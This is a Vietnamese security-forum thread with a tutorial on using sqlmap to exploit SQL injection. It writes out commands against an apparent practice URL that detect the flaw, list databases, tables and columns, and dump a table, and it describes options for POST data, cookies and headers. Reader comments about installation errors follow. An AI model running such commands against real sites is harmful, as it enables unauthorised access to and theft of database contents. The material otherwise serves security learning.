Hướng Dẫn Sử Dụng SQLMAP để Khai Thác SQL Injection
Có thể bạn quan tâm
- Tin Tức Tin tức An ninh mạng Bản tin WhiteHat
- Thành viên
- Có gì mới
- Video
- Wargame
- Vinh Danh
Tìm kiếm
Toàn bộ Chủ đề Diễn đàn này This thread Chỉ tìm trong tiêu đề Tìm Tìm nâng cao…- Hoạt động gần đây
- Đăng ký
CỘNG ĐỒNG AN NINH MẠNG VIỆT NAM
@ 2009 - 2021 Bkav Corporation
Install the app Install- Thảo luận
- Web Security
- Bắt đầu nonellldd
- Ngày bắt đầu 08/03/2017
nonellldd
Guest
Hướng dẫn sử dụng SQLMAP để khai thác SQL Injection Có bạn ez101 nói không hiểu rõ bài https://whitehat.vn/forum/thao-luan/...tool-khai-thac Mình sẽ giải thích các lệnh sử dụng trong bài viết và giới thiệu thêm một số tùy chọn khác của SQLMAP Đầu tiên SQLMAP bạn có thể download tại http://tools.whitehat.vn/download (Cần cài đặt python https://www.python.org/downloads/) ok, bắt đầu với lệnh đầu tiên Lệnh 1 Mã: python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” "-u" theo sau là đường dẫn Lệnh này để kiểm tra url trên có dính lỗi sqli không Lệnh 2 Mã: python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dbs Khi đã xác định được url trên bị lỗi, sử dụng flag "--dbs" để liệt kê các database Lệnh 3 Mã: python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --tables –D my_zerocoolhf Như trong bài viết đã liệt kê được 2 database là my_zerocoolhf và infomation_schema -D my_zerocoolhf: báo cho sqlmap.py biết chương trình sẽ làm việc với database my_zerocoolhf --table: dùng để liệt kê các bảng trong database my_zerocoolhf Lệnh 4 Mã: python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --columns –D my_zerocoolhf –T book Lệnh 3 đã liệt kê ra các bảng của my_zerocoolhf, lệnh 4 dùng để liệt kê ra tên cột có trong bảng book sự khác biệt giữa -T và --table là --table dùng để liệt kê, -T là lựa chọn để chương trình làm việc với bảng book Mã: python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dump –D my_zerocoolhf –T book --dump: dùng để dump toàn bộ dữ liệu của bảng book Một số tùy chọn khác của sqlmap: Mã: --data="DATA" : sử dụng cho phương thức POST, ex: khi login thường hay sử dụng python sqlmap.py -u "url/path" --data "user=mark&passwd=line" Mã: --cookie="cookie" : sử dụng khi lỗ hổng nằm trong cookie Mã: --user-agent=AGENT : có thể ứng dụng kiểm tra trường user-agent trong header nên tùy chọn --user-agent sử dụng trong trường hợp này ex: python sqlmap.py -u "url/path" --data "user=mark&passwd=line" --user-agent "Mozilla/5.0 (Linux; ; ) AppleWebKit/ (KHTML, like Gecko) Chrome/ Mobile Safari/" (user-agent của chrome trên android) Mã: --header HEADER | --headers HEADERS khi request cần thêm một số trường thì -H (--headers) được sử dụng Còn rất nhiều các tùy chọn hữu ích thường được sử dụng để khai thác sqli bằng sqlmap, có thểm tham khảo thêm tại https://github.com/sqlmapproject/sqlmap/wiki/Usage hoặc sử dụng python sqlmap.py --help Chúc các mem nữ 8.3 vui vẻ nonellldd Chỉnh sửa lần cuối: 08/03/2017 Hay quá anh ơi!!! Comment Anh ơi , em làm như anh nhưng nó ghi : python: can't open file 'sqlmap.py': [Errno 2] No such file or directory Comment hình như sqlmap có mấy kiểu nhất định, có mấy cái như admin.php?vs=null thì nó báo lỗi, không biết mấy cái này thì phải làm sao ?? Commentnguyenmanhson;n63631 đã viết: Anh ơi , em làm như anh nhưng nó ghi : python: can't open file 'sqlmap.py': [Errno 2] No such file or directory Nhấn để mở rộng...Bạn nên hiểu là sqlmap là một tool opensource, và nó được chạy trên Python. Mod #nonelldd thực ra là đang dùng source bên ngoài chưa được gán vào Variable Environment. trong kali thì có sẵn. hoặc bạn có thể download sqlmap từ source này. http://sqlmap.org/ Comment
nguyenmanhson;n63631 đã viết: Anh ơi , em làm như anh nhưng nó ghi : python: can't open file 'sqlmap.py': [Errno 2] No such file or directory Nhấn để mở rộng...sao bạn k xài kali luôn cho tiện?? Comment
nguyenmanhson;n63631 đã viết: Anh ơi , em làm như anh nhưng nó ghi : python: can't open file 'sqlmap.py': [Errno 2] No such file or directory Nhấn để mở rộng...Bạn cho mình xin 500 hình ảnh được không )) Comment cho em hỏi là cách cài đặt trên MacOS củng giống như Windows phải không ạ? Comment cho mình hỏi sao nó báo không công nhận vậy ạ? em xin cảm ơn Comment
End đã viết: View attachment 4820 cho mình hỏi sao nó báo không công nhận vậy ạ? em xin cảm ơn Nhấn để mở rộng...bác xem lại python đi Comment Bạn phải đăng nhập hoặc đăng ký để phản hồi tại đây. Bài viết liên quan
- Ngày bắt đầu 15/05/2021
- 0
- Ngày bắt đầu 29/02/2020
- 0
- Ngày bắt đầu 17/02/2019
- 4
- Ngày bắt đầu 29/09/2018
- 2
- Ngày bắt đầu 08/02/2018
- 0
- Ngày bắt đầu 21/07/2017
- 5
Từ khóa » Cách Sử Dụng Sqlmap
-
Sử Dụng SQLMap để Khai Thác Lỗ Hổng SQL Injection (SQLi) - Viblo
-
Hướng Dẫn Sử Dụng SQLmap Cơ Bản Cho Newbie
-
Sử Dụng SQLMap để Khai Thác Lỗ Hổng SQL Injection (SQLi)
-
Khai Thác Lỗ Hổng SQL Injection Sử Dụng Sqlmap (Ở Mức độ Cơ Bản)
-
Sử Dụng Sqlmap Tấn Công SQL Injection Trong Kali Linux - W3seo
-
Sử Dụng SQLMAP để Khai Thác Lỗ Hỏng SQL Injection
-
Hướng Dẫn Sử Dụng SQLMAP Trên Windows [SQL Injection]
-
Hướng Dẫn Sử Dụng SQLMap - AnonyViet
-
Sử Dụng SQLmap Cho Tấn Công SQL Injection - An Ninh Mạng
-
Hướng Dẫn Sử Dụng Sqlmap Cơ Bản Cho Newbie - In4tintuc
-
Sqlmap Là Gì - Hướng Dẫn Sử Dụng Sqlmap Cơ Bản Cho Newbie
-
Sqlmap Là Gì - Dùng Sqlmap Cho Tấn Công Sql Injection - Asiana
-
Sử Dụng Sqlmap Cho Tấn Công Sql Injection
-
Basic SQL Injection With Sqlmap - Sang Bui